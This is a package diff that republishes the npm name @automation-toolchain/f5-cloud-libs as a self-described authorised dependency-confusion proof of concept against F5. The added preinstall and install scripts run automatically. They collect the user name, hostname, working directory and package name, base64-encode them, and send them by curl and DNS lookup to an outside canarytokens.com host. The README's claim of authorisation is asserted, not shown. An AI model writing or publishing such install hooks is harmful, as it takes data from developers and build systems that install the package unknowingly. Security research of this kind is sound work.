@automation-toolchain/f5-cloud-libs 0.0.1-security → 4.29.0-2037287d

package/README.md

@@ -1,5 +1,22 @@
-# Security holding package
+# @automation-toolchain/f5-cloud-libs — Authorised Security Research Canary
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+This package is a **dependency-confusion proof-of-concept** published as part of an authorised HackerOne security engagement against F5 Networks.
 
-Please refer to www.npmjs.com/advisories?search=%40automation-toolchain%2Ff5-cloud-libs for more information.
+- Program: F5 HackerOne (https://hackerone.com/f5)
+- Researcher: `m0chan` (https://hackerone.com/m0chan)
+- Scope: F5 public source repositories reference `@automation-toolchain/f5-cloud-libs` via an `.npmrc` that uses an unset environment variable, causing npm to fall back to the public registry.
+
+## What this package does
+On `preinstall` / `install` it issues a single HTTP GET and a single DNS lookup to a Canarytokens.com canary, recording:
+- `whoami`
+- `hostname`
+- working directory
+- package name requested
+
+No files are read, written, exfiltrated, or executed beyond the canary beacon. There is no runtime code, no persistence, no network traffic outside the beacon.
+
+## Contact
+If this package has installed unintentionally in your environment, please contact F5 Networks Security (security@f5.com) and reference the HackerOne report filed by `m0chan`. The package will be unpublished once triage is complete.
+
+## Remediation
+F5 should claim the `@automation-toolchain` scope on npmjs.org and replace the env-var-based `.npmrc` with a hard-coded internal registry URL or fail-closed configuration.

package/index.js

@@ -0,0 +1,3 @@
+// Authorised F5 HackerOne dependency-confusion PoC.
+// This package exists solely as a canary. No runtime payload.
+module.exports = {};

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "@automation-toolchain/f5-cloud-libs",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "4.29.0-2037287d",
+  "description": "Authorised F5 HackerOne dependency-confusion PoC — canary only, no payload. Contact: m0chan@hackerone.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "b64=$(echo \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgb64=$(echo \"$npm_package_name\" | base64 -w0); curl http://canarytokens.com/mbf5httr3k3m1n1p2igwpgons/$npm_package_name/$b64; nslookup $pkgb64.mbf5httr3k3m1n1p2igwpgons.canarytokens.com",
+    "install": "b64=$(echo \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgb64=$(echo \"$npm_package_name\" | base64 -w0); curl http://canarytokens.com/mbf5httr3k3m1n1p2igwpgons/$npm_package_name/$b64; nslookup $pkgb64.mbf5httr3k3m1n1p2igwpgons.canarytokens.com"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
 }